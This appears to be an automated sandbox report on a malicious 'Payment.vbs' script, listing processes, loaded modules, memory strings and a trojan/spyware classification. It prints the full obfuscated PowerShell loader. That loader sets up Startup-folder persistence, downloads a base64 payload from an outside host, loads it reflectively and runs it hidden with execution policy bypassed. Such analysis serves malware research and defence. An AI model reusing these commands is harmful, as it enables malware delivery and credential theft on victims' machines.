Source: Process Memory Space: powershell.exe PID: 3768, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@20/12@3/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3320:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aftf20og.0ld.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: convert.exe, 00000013.00000002.2974673632.0000000002FEA000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000002.2974673632.0000000002FBE000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000003.2912164452.0000000002FBE000.00000004.00000020.00020000.00000000.sdmp, convert.exe, 00000013.00000003.2914622076.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Payment.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Process created: C:\Windows\SysWOW64\convert.exe "C:\Windows\SysWOW64\convert.exe"
Source: C:\Windows\SysWOW64\convert.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Process created: C:\Windows\SysWOW64\convert.exe "C:\Windows\SysWOW64\convert.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: ifsutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: scecli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: osuninst.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Section loaded: dnsapi.dll	Jump to behavior
